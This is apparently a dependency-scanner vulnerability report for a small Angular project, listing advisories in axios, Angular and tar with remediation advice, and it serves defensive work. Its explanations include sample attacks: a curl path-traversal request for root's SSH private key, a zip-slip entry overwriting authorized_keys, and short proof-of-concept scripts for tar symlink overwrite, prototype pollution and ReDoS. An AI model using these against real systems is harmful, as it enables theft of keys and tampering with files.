Vulnerabilities	37 via 53 paths
Dependencies	318
Source	GitHub

Find, fix and prevent vulnerabilities in your code.

Test and protect my applications

Severity

Critical
2
High
12
Medium
18
Low
5

Status

Open
37
Patched
0
Ignored
0

critical severity

new

HTTP Response Splitting

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request. This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.

Notes

The gadget only matters when the request body is a non-FormData payload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path.
The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

HTTP Response Splitting vulnerability report

critical severity

new

Prototype Pollution

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

Prototype Pollution vulnerability report

high severity

Prototype Pollution

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.30.3, 1.13.5 or higher.

References

Prototype Pollution vulnerability report

high severity

new

Uncontrolled Recursion

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

Uncontrolled Recursion vulnerability report

high severity

Cross-site Scripting (XSS)

Vulnerable module: @angular/compiler
Introduced through: @angular/compiler@5.2.11

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › @angular/compiler@5.2.11

Remediation: Upgrade to @angular/compiler@19.2.17.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via incomplete sanitization of certain SVG and MathML attributes, including xlink:href, math|href, as well as the attributeName attribute of SVG animation elements when it is bound to href or xlink:href. An attacker can execute arbitrary JavaScript code in the context of the application by injecting a javascript: URL payload into these attributes, which is then triggered either by user interaction or automatically through animation.

Workaround

This vulnerability can be mitigated by:

Ensuring that data bound to the vulnerable attributes is never sourced from untrusted user input
Avoiding affected template bindings
Not binding untrusted data to the attributeName attribute of SVG animation elements
Enabling a robust Content Security Policy (CSP) that disallows javascript: URLs.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

Web servers
Application servers
Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
Give users the option to disable client-side scripts.
Redirect invalid requests.
Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 19.2.17, 20.3.15, 21.0.2 or higher.

References

Cross-site Scripting (XSS) vulnerability report

high severity

Directory Traversal

Vulnerable module: tar
Introduced through: firebase@4.8.0

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/firestore@0.2.1 › grpc@1.24.11 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.8 or higher.

References

Directory Traversal vulnerability report

high severity

Symlink Attack

Vulnerable module: tar
Introduced through: firebase@4.8.0

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/firestore@0.2.1 › grpc@1.24.11 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.

Details

Directory Traversal vulnerabilities can be generally divided into two types:

Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.10 or higher.

References

Symlink Attack vulnerability report

high severity

Symlink Attack

Vulnerable module: tar
Introduced through: firebase@4.8.0

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/firestore@0.2.1 › grpc@1.24.11 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.

PoC


const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Details

Directory Traversal vulnerabilities can be generally divided into two types:

Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.11 or higher.

References

GitHub Commit

Symlink Attack vulnerability report

high severity

Insertion of Sensitive Information Into Sent Data

Vulnerable module: @angular/common
Introduced through: @angular/common@5.2.11

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › @angular/common@5.2.11

Remediation: Upgrade to @angular/common@19.2.16.

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data via the HttpClient which has a built-in XSRF protection mechanism. An attacker can obtain sensitive authentication tokens by crafting requests using protocol-relative URLs that cause the token to be sent to domains under the attacker's control.

Note: This is only exploitable if XSRF protection is enabled and the application allows requests to protocol-relative URLs.

Workaround

This vulnerability can be mitigated by avoiding the use of protocol-relative URLs (those starting with //) in requests and ensuring all backend communication URLs are either relative paths or fully qualified, trusted absolute URLs.

Remediation

Upgrade @angular/common to version 19.2.16, 20.3.14, 21.0.1 or higher.

References

Insertion of Sensitive Information Into Sent Data vulnerability report

high severity

Cross-site Scripting (XSS)

Vulnerable module: @angular/core
Introduced through: @angular/core@5.2.11

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › @angular/core@5.2.11

Remediation: Upgrade to @angular/core@19.2.19.

Overview

@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the i18n pipeline when HTML from translated content in ICU messages is not properly sanitized. An attacker can execute arbitrary JavaScript in the application origin by compromising the translation file (such as xliff or xtb) and injecting malicious content.

Note:

This is only exploitable if the application uses Angular i18n, includes one or more ICU messages, renders an ICU message, and does not defend against script injection via a strict content security policy.

Workaround

This vulnerability can be mitigated by reviewing and verifying translated content received from untrusted third parties before incorporating it, enabling strict CSP controls to block unauthorized JavaScript, and enabling Trusted Types to enforce proper HTML sanitization.

Details

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

Web servers
Application servers
Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
Give users the option to disable client-side scripts.
Redirect invalid requests.
Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 19.2.19, 20.3.17, 21.1.6, 21.2.0 or higher.

References

Cross-site Scripting (XSS) vulnerability report

high severity

Cross-site Scripting (XSS)

Vulnerable module: @angular/compiler
Introduced through: @angular/compiler@5.2.11

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › @angular/compiler@5.2.11

Remediation: Upgrade to @angular/compiler@19.2.20.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the handling of internationalized attribute bindings. An attacker can execute arbitrary scripts in the context of the application by injecting malicious input into attributes such as href, src, or similar, when these are marked for internationalization and bound to unsanitized user data.

Note: This is only exploitable if unsanitized user input is bound to a security-sensitive attribute that is also marked with an i18n-<attribute> directive on the same element.

Workaround

This vulnerability can be mitigated by explicitly sanitizing the input using Angular's DomSanitizer.

Details

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

Web servers
Application servers
Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
Give users the option to disable client-side scripts.
Redirect invalid requests.
Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 19.2.20, 20.3.18, 21.2.4, 22.0.0-next.3 or higher.

References

Cross-site Scripting (XSS) vulnerability report

high severity

Cross-site Scripting (XSS)

Vulnerable module: @angular/core
Introduced through: @angular/core@5.2.11

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › @angular/core@5.2.11

Remediation: Upgrade to @angular/core@19.2.20.

Overview

Note: This is only exploitable if unsanitized user input is bound to a security-sensitive attribute that is also marked with an i18n-<attribute> directive on the same element.

Workaround

This vulnerability can be mitigated by explicitly sanitizing the input using Angular's DomSanitizer.

Details

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

Web servers
Application servers
Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
Give users the option to disable client-side scripts.
Redirect invalid requests.
Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 19.2.20, 20.3.18, 21.2.3, 22.0.0-next.2 or higher.

References

Cross-site Scripting (XSS) vulnerability report

high severity

Cross-site Request Forgery (CSRF)

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

Cross-site Request Forgery (CSRF) vulnerability report

high severity

new

HTTP Response Splitting

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

HTTP Response Splitting vulnerability report

medium severity

Allocation of Resources Without Limits or Throttling

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.

Remediation

Upgrade axios to version 0.30.0, 1.12.0 or higher.

References

GitHub Commit

Allocation of Resources Without Limits or Throttling vulnerability report

medium severity

new

Allocation of Resources Without Limits or Throttling

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

Allocation of Resources Without Limits or Throttling vulnerability report

medium severity

new

Allocation of Resources Without Limits or Throttling

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

Allocation of Resources Without Limits or Throttling vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

